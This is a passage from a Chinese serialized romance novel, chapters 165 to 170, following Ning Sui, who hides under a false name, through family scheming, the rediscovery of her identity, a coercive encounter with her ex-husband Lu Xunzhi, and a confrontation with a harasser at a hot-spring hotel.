宁穗点了茶,等茶上了,她给乔若钰倒上,“乔小姐想说什么?” 乔若钰看了宁穗一眼,今天她穿了中式改良版的汉服,戴着面纱一点都不违和,有种古典美。 她必须承认,宁穗身上有一种神秘又吸引人的气质。 她要是男人,她也喜欢。 趁着宁穗不注意的时候,乔若钰拍了一张照片,正好能拍到她的半张纱巾。 “闻之叫你小瑜,我也这么叫行吗?”乔若钰问。 宁穗点点头。 这时她的手机响起,“抱歉,我接个电话。”她走出包间。 乔若钰缓缓敛起笑意,拿出手机,发了一条信息出去,【在喝茶,来不来?】 那头毫不意外的死寂一般。 乔若钰随意划了划,两人的聊天记录寥寥无几,大部分都是绿色的泡泡。 她扯唇冷笑,然后又将刚才拍的照片发过去,附上一句,【茶不错。】 没过几秒,那头就回了,【地址。】 乔若钰表情皲裂开。 宁穗返回,乔若钰瞬间挂上温婉的笑意,随手发了地址过去,迎上宁穗的视线。 “小瑜,你好像比我小一岁吧?”乔若钰说话慢悠悠的,给人一种很平和的感觉,“我看到你就觉得我们有缘。有些话,我早就想说了。” “你说。”宁穗一直冷冷淡淡的。 保持着客气的疏离。 “我和陆家的两兄弟不是才认识的。我们小时候就见过面,那时候我家里就在帮我寻找合适的联姻对象了。” 宁穗没想到乔若钰会跟自己说这些,就静静听着。 乔若钰像是陷入遥远的回忆,“其实我最开始,欣赏的陆闻之。温柔,礼貌,一看就是很好说话的。我这个人,比较强势,我不可能再找一个比我更强势的。” 宁穗脸色沉下来,“乔小姐,我年后就跟陆闻之订婚了。” 现在跟她说这些,简直就是给人添堵。 乔若钰却丝毫愧疚都没有,“对,就是因为你们马上就要订婚了,我再不说就没机会了。我想问你,我们可不可以换换?” 宁穗气笑了,简直被乔若钰的无耻给震惊到,“换什么?换老公吗?” 话音未落,房门被人从外边推开。 宁穗眸光微转,与开门进来的陆勋之对上视线,她瞬间愣住。 陆勋之看到宁穗却丝毫不意外,径直走进来,在两人之间的桌边坐下。 “在聊什么?”话是对乔若钰说的,余光却始终在打量宁穗。 乔若钰放在桌下的手指尖掐进掌心。 来得真快啊。 但她面上带着笑意,“小瑜刚才说,换老公。” 听到这句,陆勋之倏地看向宁穗。 第165章 爱而不得,想找个替身 两道灼热的视线落在宁穗脸上,让她火辣辣的。 她冷不丁笑出声,“乔小姐,这是你说的,我可没说。” 乔若钰点点头,“对,是我提议的。你觉得怎么样?勋之?” 她转头看向陆勋之,似是在询问他的意见。 实则试探。 宁穗余光也下意识地瞥向陆勋之。 男人垂眸,随手拿起一个空杯,捏起公道杯,给自己斟上茶水,慢悠悠拿起来,啜了一小口,扯唇笑笑,看向乔若钰。 他的眼睛特别好看,明明是桃花眼,却总是阴涔涔的,不笑的时候,有些吓人。 可这会儿,他的眼神却很柔和,让乔若钰产生一种,他很温柔的错觉。 有那么一瞬间,乔若钰甚至在他脸上看到了陆闻之的影子。 刚才她所说的也不全是为了套路宁穗。 半真半假吧。 至少,她以前确实是想选陆闻之作为备选老公。 只可惜,等她拿过不少奖项,甚至拿过冠军回来,想更风光地给自己添点嫁妆的时候。 陆闻之出事了。 他这个样子,根本不会是乔家看上的女婿。 那个人只能是陆勋之,总不能让她去选陆凛之吧? 其他的男丁更没竞争力。 她需要一个权贵,不然就只能跌进地狱。 陆勋之眼皮都没抬,慢悠悠地说:“你们女士之间的话题,也有我参与的份儿?” 这话说得有意思啊。 乔若钰的心一下子冷下来。 表面上他是在顺着她的话说。 其实,他就是想换吧。 乔若钰看向宁穗,“妹妹你说了算。” “无耻。”宁穗声音又轻又冷,她拿起自己的手包和大衣,直接起身,“乔小姐的所作所为,倒是符合乔家一贯的作风。” 说完,她甩门而去。 陆勋之的视线一直追随着宁穗的背影,直到门被关上,他又盯着门。 语气也冷下来,“又在耍什么把戏?” 被他质问,乔若钰也不怕。 她这次彻底确定了陆勋之的心意。 哪怕连他自己都不清楚自己想要什么。 乔若钰的把握又多了几分,“你帮我嫁给陆闻之,这个沈瑜,自然就是你的了。” 陆勋之垂了眸子,哼笑一声,很是不屑,“我弟看不上你。” 这句话就像是一巴掌,扇在乔若钰的脸上。 一个陆家并没有什么实权的人,还是个瘸子,凭什么看不上她呢。 她觉得陆勋之就是在故意侮辱她。 “他的喜欢并不重要,关键是他妻子的身份,我想要。”乔若钰也不想虚以逶迤,直接丢出自己的欲.望,“那个女人你想要,我们合作,不是挺好吗?” 男人没说话,那就是有余地。 乔若钰乘胜追击,“我查过宁穗,这个女人跟她确实很像。爱而不得,想找个替身,很正常。陆勋之,你该直面自己的欲.望。” …… 宁穗跑出包间,走到电梯前,梯门打开,走出来一个鹅黄色的身影。 一身套装裹在身上,鲜活又干练。 “姐姐?” 对方叫住她,她一愣,看了两秒才看出眼前的人,她面色淡了淡。 “你不记得我很正常,我们就见过一次,还没说过话。”陈瑶自来熟。 就像是五年前一样。 只不过那时候青涩的小姑娘,变成了职场佳丽。 宁穗微微点头,“嗯,你好。” “我叫陈瑶。”她伸出手跟宁穗打招呼。 宁穗垂眸看着那双年轻鲜活的手,心像被一只手揪住。 虽然当年的事,不怪陈瑶,但她切切实实抢走了她活一次的机会。 宁穗没办法做到无动于衷,垂在身侧的手蜷缩起来。 始终没办法去握上那只手,她干涩出声,“抱歉,我还有急事。” 说完,宁穗直接进了电梯,焦急地按了两下关门键。 陈瑶有些无奈,讪讪收回手,想起什么,快步向一个方向走。 咚咚,她敲了两下门,第三下还没敲下去,房门被人猛地拉开。 看到陆勋之冷涔的脸,陈瑶先是一愣,随即脸颊红透了,“勋之哥……” 陆勋之却看都没看她一眼,直接走了。 男人快步离开带起的风吹在她脸上,将她叫醒。 乔若钰信步走过来,看到陈瑶的表情,从少女羞怯,到因为被忽视而失望。 什么都摆在脸上。 一看就是从小生活在有爱家庭的小孩。 完全没有经历过什么叫苦难。 她双手环在胸前,“小姑娘,你喜欢陆勋之啊?” 陈瑶突然被人点破心事,这个人还是陆勋之明面上的未婚妻人选。 让她有些窘迫,但她还是硬着头皮说:“他还没结婚。” 言下之意,她还有机会。 乔若钰眉心皱了皱,刚才陆勋之对她的建议不置可否。 她可不想在这个节骨眼上,再节外生枝。 于是语气有些凶地说:“他看不上你。别犯傻。” 说完,她转身离开。 只留下陈瑶一个人。 刚才她正在跟唐桓对接项目的事,碰巧看到陆勋之出来。 听到他跟唐桓说自己要来这里,她就跟着来了。 她也不知道自己为什么要这么做。 结果跟来也没讨到好处。 她看着乔若钰高傲得像只孔雀一样,趾高气扬地说陆勋之看不上她。 让她心里很不舒服。 可是陆勋之也不喜欢乔若钰啊,她很清楚的。 那天舞会上,陆勋之跟面纱姐姐一起跳舞,那个眼神,她只见过一次。 就是陆勋之看他前妻宁穗的表情。 可那个面纱女人是陆闻之的女朋友啊。 陆勋之不可能喜欢。 想到这陈瑶心里好受了一些,那她就还有机会。 …… 临近过年,唐佳笑约了宁穗回孤儿院,每年他们都会去孤儿院转一转,当当义工。 这些年宁穗不在御城,都是唐佳笑带着乔镇来。 今天因为约了宁穗,唐佳笑自己过来的。 宁穗今天没戴面纱,只戴了口罩和帽子,怕自己带着面纱吓到小朋友们。 “院长这几年身体也不太好,大概是要退休了。”唐佳笑惋惜,“前段时间,我还呼吁给她捐了一次款,帮她换股骨头,但是她拒绝了。” 宁穗有些难受,院长人很好,小时候要不是她捡了自己,恐怕就要死在雪地里了。 “院长的股骨头彻底不能用了吗?”宁穗问。 “嗯,她不肯要钱,也不肯去换。一会儿你正好劝劝。”唐佳笑带她去了办公室。 前几年的时候,宁穗在陆家,偶尔兼职挣的钱,都捐给了孤儿院。 五年前,她出事前,还给孤儿院留了一大笔钱,也给院长个人留了。 但是她都捐到孤儿院了。 宁穗后来失踪,她的账户就被冻结了,根本取不出钱来。 两人一进办公室,宁穗看到客座沙发上的身影,瞬间愣住。 第166章 你还活着?为什么不告诉勋哥 陈耀东懒散地掀起眼皮,视线在宁穗身上随意一瞥,便收回视线。 “笑笑,你来了?”院长余梅起身,动作缓慢地上前,和蔼地对旁边的宁穗笑着点点头,“这就是你说的,带来的朋友?” 唐佳笑今天过来,提前跟院长打了招呼。 说是要带个朋友过来。 唐佳笑没有提前说,是想给院长一个惊喜。 宁穗压了压帽檐,心里有些不安定,生怕陈耀东认出自己。 但对方似乎对她丝毫没有兴趣,完全没有再看第二眼。 “是啊。院长,您在忙啊?”唐佳笑当然不会当着外人揭穿宁穗的身份。 院长笑了,“他啊,陈耀东,其实他比你们跟我的时间还长呢。” 宁穗愣了愣,余光小心地看陈耀东。 还是一身的江湖气,明明穿着西装,但看上去还是像暴徒。 听余梅的语气,他们关系应该很好。 是余梅喜欢和带大的孩子,应该本质纯良。 可宁穗无论如何也没办法将这两个字安在陈耀东身上。 他是陆勋之的小弟,之前接触过两次,都不愉快。 陈耀东起身,随即抄兜,“院长,你有客人,那我就先走了。我去看看孩子们。” “好,你去吧。”余梅笑着送他出门,折身回来,便关上了门。 “陈耀东比你们小几岁,我第一次见他的时候,他还在襁褓里裹着。” 大概是今天见到很多以前的孩子,余梅院长打开了话匣子。 “是吗?”唐佳笑眼神迷茫,“我都没什么印象。” 当时她只跟宁穗好,因为宁穗身上香香的,特别好看。 “笑笑,你当时和穗穗啊,都比他大几岁呢。后来没多久,他就被领养,被养父母带到国外了。没见过也正常。” 院长说到这,看向宁穗,“看我糊涂了,都没问,这位小姐怎么称呼啊?” 宁穗顿了顿,拿下来口罩和帽子。 余梅愣住,“你……” 陈耀东走出去,就被一群孩子围住,叽叽喳喳地要糖吃。 五年前,他被陆勋之叫回国内,才有时间经常来孤儿院。 孩子们都跟他熟了。 孤儿院里的女老师多,男孩子们突然见到陈耀东这样的孩子王,都特别喜欢。 “就知道吃糖,牙不要啦?”陈耀东嘴上责备,嘴角却裂到耳朵根。 说着突然一拍脑门,刚才他给孩子们带的东西,都放院长办公室了。 “去玩吧,我拿来给你们分。”陈耀东转身往院长办公室走。 刚走到门口,就听到院长微微的哭泣声。 办公室的隔音并不怎么好。 一方面院长不想把钱花在这上面,另一方面也怕外边有事,她听不到。 陈耀东的脸色瞬间沉下来。 在他的印象里,余梅是个很坚强的女人,从未见她哭过。 热血一下子上头,他猛地推开办公室门,里面的三个女人都是一愣。 他视线飞快地扫过那两个人,视线在那个刚才戴着帽子,现在摘下并赶紧捂脸的女人身上僵住。 余梅也吓一跳,赶紧侧身挡住宁穗,“耀东,你怎么又回来……哎,你干什么?你别碰她呀!” 余梅五十多了,股骨头又不好,根本不是陈耀东的对手。 陈耀东一手扶住余梅,另一只轻易地拎起宁穗的胳膊,将人拉到跟前。 宁穗根本来不及戴口罩,一张脸,完全暴露在空气中。 陈耀东在国外混的,认人一绝,一眼就认出宁穗。 冷不丁笑出声,“你还活着?为什么不告诉勋哥?” 他挺生气的,这些年陆勋之要找宁穗,恨不得把天地都翻个底。 可宁穗一点痕迹都没有。 他也劝过,那可是在公海的大火中,怎么可能生还? 因为这个陆勋之差点打死他,幸亏周南昭在旁边拦着。 但他还是结结实实挨了几拳,疼了好几天。 想到这,陈耀东嘴角还有点疼,却听到宁穗说:“我不知道你说什么。我不认识你,你认错人了。” 认错人了? 陈耀东一愣,他怎么可能认错,这几年帮陆勋之找人,他都快要把宁穗的照片盯出个洞了。 “你这张脸这么漂亮我怎么可能认错。宁穗,是你吧。” 他认出来了,气氛一下子紧张起来。 甚至大家都没注意到他的措辞有多么不合时宜。 余梅吓得脸色苍白,跟唐佳笑对视一样,后者也一脸懵,她不知道陈耀东和宁穗居然认识。 宁穗单手戴上口罩,硬着头皮说:“我不认识你,我也不叫那个,我叫沈瑜。” 陈耀东一愣,面色复杂且阴沉,“你说你叫什么?” 余梅赶紧上前,拉住陈耀东,瘦小的身躯挡不住宁穗,但还是站在她身前。 “耀东,你跟我说出去,我有话跟你说。”余梅拉扯陈耀东。 可她都搭不到陈耀东的肩膀,哪里拉得动他。 陈耀东回神,卸了力气被余梅拉出去,出门前,还意味深长地看了宁穗一眼。 “耀东,你要是还当我是你的院长妈妈,今天的事,你就当没发生,行吗?”余梅声音带了哽咽,眼圈红红的。 陈耀东愣了愣,没答反问,“院长,小时候有个大我几岁的姐姐,刚来的时候穿这个公主裙,也是叫沈瑜……是她吗?” 余梅怔怔点头,“是。” 她太了解陈耀东,人狠,但是讲义气,现在跟他说实话,他或许还会看在情面上帮忙隐瞒。 陈耀东眼底什么东西碎了碎,闪烁着亮晶晶的光芒,扯唇轻笑,“是她啊。” 余梅觉得这个理由牵强,但现在只能死马当活马医,“小时候,有一次你的小木马丢了,还是沈瑜帮你找回来的,她为了帮你,把自己最喜欢的小裙子都扯坏了,哭了一晚上。我记得那时候,你就天天跟着她后边跑,后来你被收养带到国外,才断了联系。” 见陈耀东一直垂着眸子不说话,不知道他是什么想法。 余梅只能继续劝说:“沈瑜后来所嫁非人,她前夫的小三抢了她的骨髓给别人,害得她差点死了。那家家里内部矛盾,又把她当磨心,这些年她一直偷偷藏起来活着,就怕前夫来继续害她。耀东,就算看到小时候的情谊上,你别揭穿好不好?” 陈耀东掀起眼皮看着余梅,满脸的不可置信,“她前夫……对她这么不好吗?” 第167章 我没见过你。你也没见过我 宁穗戴着帽子和口罩,跟孩子们一起玩游戏。 额头上都出了汗,但她还是没摘。 不远处的墙根下,陈耀东嘴里叼着一根牙签,混不吝地靠在墙边,一眨不眨地看着她。 脑海里却是余梅说的那些话。 陆勋之对宁穗不好吗? 可他看在眼里,不是这样。 两人之间的事,他没问过。 那是他大哥的女人,他不可能去打听。 但在他心里,陆勋之是个好人,甚至是圣人,不然他也不会死心塌地跟着。 可就在余梅说完那些话之后,他心里的天平在悄悄失衡。 宁穗身体还不是很好,那场大火加上换骨髓手术,让她缓了好几年,还是有些容易疲劳。 玩了一会儿,她就被唐佳笑赶过来休息。 她喝了口水,拿出手机,看到陆闻之没回她。 刚才陈耀东发现她的时候,趁着余梅叫陈耀东出去。 她就赶紧给陆闻之打电话,没人接,她又给对方发了信息,【今天下午,我们去领证好不好?】 这是她现在唯一能想到的补救办法。 她知道陈耀东是陆勋之的忠实小弟。 当初她将陆勋之的报价泄露给陆凛之的时候,陈耀东就来找过她的麻烦。 那样子,像是要吃人。 陈耀东现在发现了她,肯定会去跟陆勋之说。 如果陆勋之知道,那她还不知道会怎么样。 她要做的事还没做,不能就这么被陆勋之抓走。 如果她现在是陆闻之的妻子了,陆勋之就算是再浑蛋,也不能再对她做什么。 她至少可以争取一点时间。 可是看着空荡荡的聊天框,还有来电显示,陆闻之居然什么都没说。 宁穗有些忐忑。 再次拨通了陆闻之的电话,快要挂断的时候,那头才接通。 没有说话。 宁穗愣了愣,压着声音说:“你下午有时间吗?” 那头继续沉默。 “领证用不了多久,你抽出一个小时的时间,可以吗?”宁穗有些急,语速都跟着快了。 陈耀东的事,很复杂,宁穗不知道从何说起。 她有些泄气,“陆闻之,你先答应我,我回去再给你解释好不好?” “他没空。”那边传来冷丝丝的声音。 瞬间冻住宁穗的气息,她飞快地拿下手机,看了下,没有拨错号码。 可那边怎么会传来陆勋之的声音。 自从那两次认错之后,宁穗现在都应激了,听到陆勋之的声音就浑身发毛。 那边倒也没为难她,直接挂断了电话。 餐厅包厢内。 陆勋之看着手机上的通话记录,面无表情地删掉,随手丢在桌上。 眉心卷起一层烦躁。 陆闻之从洗手间出来,操控着轮椅过来,拿起手机看了看。 宁穗没有发信息,也没有打电话。 微微有些失望,将手机放在桌上,才看向陆勋之,“哥?你不舒服吗?” 眉心都能拧出小山丘。 “没事。”他冷淡地说,听上去不像是没事。 但两人都是成年人,没必要去深挖别人的情绪。 “哥,一会儿你先回吧,我有点事。”陆闻之说。 陆勋之手上的动作一顿,缓缓掀起眼皮看向他,“干什么去?” 陆闻之一愣,但也没多想,“私事。” 对方冷不丁笑了笑,“找女朋友啊?” 陆闻之微微弯唇,不置可否,但也算是默认。 那股烦躁再次涌上来,陆勋之垂了眸子,掩去眼底的阴鸷,“新势力那块肥肉,三房吃不下。你有没有想法?” 陆闻之倏地睁圆了眼睛,眼底闪烁着兴奋,“可那个,爷爷给三叔了。” 陆勋之不屑冷嗤,“他给?我同意了吗?” “好啊,哥,我听你的。”陆闻之笑了笑。 “不去找你女朋友,她不会生气吧?”陆勋之状似不经意地问,似是在关心他们,“可能要忙到半夜。” 陆闻之有些为难,“嗯,我跟她说一声。” 他给宁穗发了信息过去。 那头,宁穗看到陆闻之发过来的信息,凉了半截,【乖乖,下午我有重要的会议要开。】 她手指颤抖着,想用最简单的语句解释自己的处境,但删删减减,最后还是没发过去,只问了一句,【陆勋之也在吗?】 那头回,【嗯,会跟我一起。】 宁穗泄了气,那就没机会了。 陆闻之出来,肯定会被陆勋之发现的。 到时候就麻烦了。 一片阴影落在她身前,宁穗抬头正撞进陈耀东混不吝的视线里。 她赶紧收起手机,警惕地往后撤了半步。 下一秒,男人突然抬手,凑到她脸边,她条件反射地躲了下。 但他手上的东西,还是蹭了一下她的额角。 陈耀东看着她这个怕极了的样子,心里莫名有些不舒服。 他微微扯唇,“你满头大汗,戴个帽子不热?” 宁穗这才发现他是递过来一个手绢。 今天是个好天气,天气回温,她又运动了半天,确实有点热。 但她又往旁边躲了躲没接他的手绢,而是自己掏出纸巾擦了擦。 陈耀东的手悬在半空,讪讪收回。 修长的手指缓慢拉扯手中的真丝绢,突然问,“勋哥,对你很不好吗?” 刚才他问过余梅,已经得到肯定答案。 可他还是不死心似的,好像只要确定是陆勋之对宁穗不好,那他背叛起陆勋之来,也没那么大心理压力。 宁穗并不知道他想什么,只是觉得这个问题很没意思。 “你跟他是一个阵营的,我说什么,都不重要。”宁穗看向他,“我只是希望,你还能看在我们在一个孤儿院长大的份上,当个旁观者,不要掺和进来。” 哪怕只是拖过今天,明天她就拉着陆闻之去领证。 陈耀东勾唇笑笑,带着一股子痞劲,“你是不是都忘了。” 他声音很低,宁穗没听清,“你说什么?” 陈耀东自嘲笑笑,将手绢整整齐齐叠好,放进口袋又拍了拍,“没什么。今天我没见过你。你也没见过我。” 说完,他转身走了。 宁穗听余梅说,陈耀东来孤儿院,都把手机放车上,不会跟外边联系,就想专心帮忙。 所以她在得到陆闻之消息前,一直没走,盯着陈耀东。 他刚才那句话,是要帮她保守秘密的意思吗? 宁穗不放心,还是去找了陆闻之。 她给陆闻之的助理发了信息,说自己在隔壁房间等着。 陆勋之连陆闻之的手机都随便接,她现在不敢给对方发信息。 宁穗等了二十分钟,房门被人推开,她回头的一瞬间。 啪! 房间里的灯被人按灭。 第168章 你也配? 突然陷入昏暗之中,宁穗短暂地失去了视觉。 耳边的声音更加清晰,她听到有人走到她跟前,下一秒,温凉的指尖触碰到她的脸颊。 她本能地想躲开,黑暗中,男人的脸凑到她跟前,“就这么迫不及待?不怕把他逼跑了?” 她僵住,是陆勋之的声音。 在她怔愣的瞬间,男人轻轻摸了摸她的脸颊。 “外边那么多人盯着他,你是有危机感了?”陆勋之像是情人间的呢喃,“无私”地给宁穗分析当下的形势。 宁穗陷在沙发里,陆勋之弯腰,将她卡在原地,她退无可退,想扭开头,却被他单手捏住了下巴。 “这是我们俩的事,不需要陆总操心。”宁穗语气疏离又冷淡。 黑暗中,男人拇指研磨着她的唇,力气有些大,似乎对宁穗的回答很不满意,隐忍着怒气。 两人就这样无声对抗。 宁穗心里像是被无数只蚂蚁啃噬,烦躁到不行,伸手去推他。 手挨上他的腹部,透过薄薄的衬衣面料,能够感知到肌肉的膨胀和滚烫。 宁穗僵住,想撤回手,更滚烫的大手突然覆上她的,紧紧按住。 陆勋之抓压着她的手,一路向上,最后停留在他的胸口上。 剧烈起伏的弧度鼓胀着宁穗的掌心,快要将她灼烧殆尽。 她抬起另一只手,慌乱去推搡陆勋之,但对方像座大山似的,纹丝不动。 啪! 陆勋之的脸被扇得微微动了一点角度。 空气安静了两秒,只剩下两人粗重的呼吸声,分不清彼此。 下一秒,陆勋之突然扳住宁穗的后颈,将人带到跟前。 鼻尖快要碰上的瞬间,宁穗语速很快地骂,“知三当三,你贱不贱!” 男人的动作骤然顿住,单凭呼吸,宁穗都觉察到陆勋之在生气。 月光从窗子照进来,映出陆勋之半张脸,眼底的怒气快要凝成实质。 方才的暧昧,变成了剑拔弩张。 宁穗后背紧绷,她甚至觉得陆勋之一下秒就会发飙。 她说的话太侮辱人了。 尤其是陆勋之这种高傲到不可一世的人。 他可以在陆家的地盘上,将陆凛之废了,还是两次。 后颈上力道越来越重,疼得宁穗低呼出声。 男人掐住她的下巴抬起,迫使她抬头看着自己。 上位者的威压极具压迫感。 男人丝毫不怜香惜玉,将她紧紧拉到跟前。 陆勋之凑到她耳侧,声音像是从牙缝里挤出来,“你以为你是什么?为了你当三,你也配?” 宁穗冷冷看着他,“我不配。那你三番五次的,是做什么!” 她在陆勋之眼中看到了恼羞成怒。 房门被敲响,陆闻之的声音隔着门板传进来,“小瑜,在里面吗?开门。” 宁穗一僵,慌乱去推陆勋之。 男人却恶劣地将她紧紧按住,“你在怕什么?” 他突然想到什么,嗤笑出声,托着调子,“哦,我们吻了这么多次,你还没告诉过他,是吗?” 下一秒,陆勋之拦腰抱起宁穗,将人压在门板上,捏着她的下巴,吻了下去。 宁穗死命抵抗,陆勋之气声压在她耳边,“你猜要是爷爷知道我和你这样,他还会让陆闻之娶你吗?” “就算我不说,外边包厢里都是陆氏的合作伙伴,他们可是都在慈善晚会上见过你。” “保不齐,会有几个多嘴多舌的。” 宁穗瞬间僵住,死死盯着陆勋之。 昏暗中,两人都看不清楚彼此,却清晰感知到彼此最大的恶意。 身后传来敲门声,声波透过门板,震在宁穗后背上,快要将她击碎。 宁穗挣扎,却又不敢用力,被陆勋之一再得逞。 门外传来陆闻之和助理的对话声,“你是安排她在这等吗?” 助理也纳闷,“是的,我亲自带沈小姐过来的。” “我给她打电话。” 下一秒,宁穗的手机,发出刺耳的铃声,门外跟着安静下来。 紧接着是更大力的敲门声。 宁穗感觉自己像是在磨盘里研磨,快要喘不上起来。 陆勋之突然停下动作,从容地从宁穗的口袋里拿出手机。 咬住她的耳珠,恶劣地说:“别出声。” 说着,他还用力咬了一下。 宁穗死死咬住自己的下唇,不让自己发出声音。 咔嗒,房门被陆勋之拧开,宁穗迅速躲到门后,瘦削的身影蜷缩在门后的角落。 房门打开,走廊的光线倾泻进来,衬托的门后更加昏暗。 “哥?”陆闻之声音诧异又低沉,他愣了一下,随即推门板要进来。 陆勋之身高腿长直接挡住,“我在这睡觉,没别人,这有个手机,是你的?” 他说话的语气太过坦然,声音微哑,像是刚睡醒一样。 陆闻之眉心轻皱,接过手机看了看,是宁穗的。 “小瑜在哪儿?”陆闻之问。 “我怎么知道?”陆勋之撒谎不打草稿,“我来的时候没人。” 说话间,有人顺着走廊过来,看到两兄弟,调侃道,“你们在这躲酒啊?” 对方听上去像是醉了。 “喝多了,休息会儿。”陆勋之懒洋洋地说,“闻之,你回去陪着,我歇会儿就过去。” “我要去找小瑜。”陆闻之说。 “那么大人丢不了。”陆勋之却笑了,“让你助理去找就行了。” 合作商也叫陆闻之走,他只好交代助理去找宁穗,自己则跟着合作商回去。 助理留下,看了一眼陆勋之,毕恭毕敬地说:“陆总,您看到沈小姐去哪儿了吗?” 陆勋之从鼻腔里哼笑出声,“你聋了?我刚才不是说了,没看见人。” 助理是个轴的,“那我进去看看,不会打扰您。” “啧。”陆勋之不满,“我要是不让呢。” 助理愣住,他知道自己这么强硬是碰了陆勋之的逆鳞,但还是耐心解释,“沈小姐是小陆总的命根子。” 陆勋之余光瞥了一眼门后的阴影。 冷笑道,“是吗?她这么重要?那你还不赶紧去找,在我这闹什么?” 助理没辙,只能先去被的地方找。 等人都走了,宁穗从门口走出来,绕过陆勋之要走。 陆勋之骤然抓住她的手腕,宁穗反手又是一巴掌,清脆得很。 男人又将她拉回到房间的黑暗之中。 捏着她的后颈,阴狠地问,“这么硬气,刚才为什么不干脆走出来,光明正大地当着陆闻之的面指责我欺负你?” 第169章 我听你的 宁穗气的胸口起伏的厉害,怎么都挣脱不开。 她突然向前猛地靠近,陆勋之一顿,下一秒,下巴上传来刺痛。 宁穗咬了他。 陆勋之太意外,以至于手上的力气松了松,宁穗趁着这个机会逃走。 看着她的声音消失在楼道拐角,陆勋之抬手摸了摸下巴。 甚至能摸到她的牙印上渗出的血丝。 男人鼻腔哼笑一声出来。 陆勋之回到饭局的时候,陆闻之已经有一些醉了,陆勋之一坐下,他便看过去。 一眼就发现他下巴上的印迹,整个人愣住。 “哥,你的下巴……” 经他这么一提醒,所有人都看向陆勋之,发现了他下巴上的渗血的齿痕。 陆勋之不甚在意地摸了一下,“猫咬的。” 全桌的男人哄堂大笑。 猫怎么可能咬成这样? 有胆子大的,调侃道,“我猜啊,这还是个小母猫。” 又是一阵大笑声。 陆闻之嘴角勾起冷淡的弧度,却没有任何笑意。 垂着眸子晃动酒杯,手指节捏得发白。 …… 宁穗三天没有出门。 她不知道什么时候会再碰到陆勋之。 只能当个鸵鸟,静静等待过年,订婚,然后领证。 防守是最好的进攻。 年前还有几天,陆闻之放了假。 “乖乖,你不是说想去泡温泉,我们一起去吧。” 城郊有一个温泉酒店,一到冬天就很难定。 但是陆家人在那有专门的院子。 之前宁穗和陆闻之在国外,就经常去泡温泉。 尤其是天冷下大雪的时候,泡温泉别有意境。 今年御城还没有下过雪,但还是有点冷。 宁穗在家里待得有些长毛,想了想还是答应了陆闻之。 宁穗还是第一次来这个温泉酒店的包院。 说起来很可笑。 结婚五年,陆家人经常来这里,但陆勋之每次都因为各种原因不来。 宁穗也就没来过。 即便知道陆家是豪门,但见到这专门为他们而建的温泉别院,宁穗还是吃了一惊。 奢华得让人有些瞠目结舌。 “要不要先吃点东西,这边的晚餐也不错。”陆闻之建议。 宁穗从善如流。 这边也有专门的餐厅,但是陆闻之说前庭餐厅那边的饭也很好吃,于是两人就走出别院,去了普通餐厅那边。 一进去就看到两个熟悉的身影。 宁穗眯了眯眼睛,脸色不由地沉了沉。 “那是乔家人。”陆闻之低声提醒。 宁穗当然认得。 说话间,乔深发现了陆闻之和宁穗,笑着走过来打招呼。 “闻之,这么巧?”乔深魅惑的桃花眼看向宁穗,眼底闪过一丝诧异,但表情维持得很好,“这位就是你的女朋友?” 陆闻之拉住宁穗的手,不动声色地捏了捏,安抚她的情绪。 然后笑着回应,“对。”并没有做介绍。 乔深也不生气,他跟陆闻之在国外一起学习过一段时间,两人知道彼此的脾气。 “我爸,和我妹都在,要不一起?”乔深提议,眼神还不时地瞥向宁穗,虽然看不清宁穗的样子。 但他眼底的不安分,还是被宁穗捕捉到。 真的是路过一只母蚊子,乔深都不会放过。 宁穗透过面纱,冷冷看着他。 但乔深看不清她的表情。 陆闻之笑着说:“乖乖,我们要一起吗?我听你的。” 乔深挑起眉梢,视线在两人之间打量,最后落在宁穗身上。 宁穗轻笑,“我都行,听你的。” “两位还真是感情好啊。那就一起吧,人多热闹。”乔深侧身,给两人让开空间。 两人跟着乔深进了包厢。 宁穗一眼就看到了坐在首位的乔长年,还有坐在一旁的乔若钰。 乔长年虽到中年,但看着依旧很有风采,年轻时是个帅男人。 宁穗垂在身侧的手指蜷缩起来,指甲深深嵌入皮肤,钻心的疼。 只有这样,她才能克制住自己的冲动。 “闻之,你哥怎么没来啊?”乔长年拿着长辈的款,问陆闻之。 “我哥从不来温泉酒店这边。”陆闻之只是淡淡说了一句就扯开了话题,“听说乔叔叔也对新势力能源的项目感兴趣。” 这一句话就想乔长年的注意力转到别处。 但宁穗却将陆闻之的前半句听了进去。 陆勋之从不来温泉酒店。 结婚五年,他好像真的没来过。 挺奇怪的。 宁穗没来得及多想,握着茶杯的手背,被碰了一下。 温凉的触感,像是毒蛇扫过,让宁穗心底生寒。 她余光瞥坐在她身侧的乔深,对方没往她这边看,只是端了茶杯给大家蓄水。 似乎刚才的触碰只是不小心,根本没放在心上。 宁穗淡淡收回视线,却与坐在对面的乔若钰撞了个正着,对方怔怔望着宁穗,又好像透过宁穗看别人,脸色有几分发白。 宁穗余光一直警惕观察着乔深,对方不时地给她添菜倒水,状似无意地过来碰她,都被她巧妙地躲开了。 真的很恶心。 她微微倾身对陆闻之说:“我去趟洗手间。” 在洗手间里,宁穗洗了脸,才将心里的那股怒火压了下去。 手机响起,是国外的IP,宁穗眼神一震,随即接通了电话。 那边传来的声线没什么声音,“照例跟您讲一下,您母亲的情况还比较稳定,但依旧没有醒过来。” 宁穗使劲闭上眼,一股无力感冲上来,“好的,谢谢。费用我已经汇过去了。” “好的,不客气,晚安。” 那边挂断了电话,宁穗却迟迟没有拿下手机。 就那样僵硬地站了一会儿,宁穗深呼吸了好几次,才平复下心情,转身走出洗手间。 刚走出门口,余光瞥见一个身影,在她出门的一瞬间,突然走过来,跟她撞了个满怀。 一只手突然扶住她的后腰,宁穗嫌恶地弹开,身子撞到拐角的景观花瓶。 哗啦,花瓶应声碎了一地。 碎片划破了宁穗的小腿,一阵刺痛传来,宁穗微微倾身弯腰去查看。 “小心点嘛。”油腔滑调的声音传来,宁穗扬眸正看见乔深油头粉面的脸。 “怎么样?痛不痛?”乔深语气有些矫情,蹲在宁穗跟前,去摸她的腿,似是要帮她检查。 宁穗垂眸看着他暴露在自己眼前的脖颈。 清晰的动脉,她仿佛能看到它搏动的幅度。 宁穗手里拿着的瓷器碎片紧了紧,痛感袭来,可她已经不能冷静。 她宠着乔深的脖子,猛地刺过去。 第170章 让他们看见我抱着你 一个力道抓住了宁穗的手腕,下一秒,乔深被一脚踹了出去,一脸懵地仰躺在地上,狼狈至极。 宁穗愣了愣,看着眼前熟悉的高大背影,她猛地收回手,对方只余光瞥了她一眼,并没有继续拉她的手。 宁穗的心快跳到嗓子眼。 刚才的冲动,一下子化作冷汗,浸透她的后背。 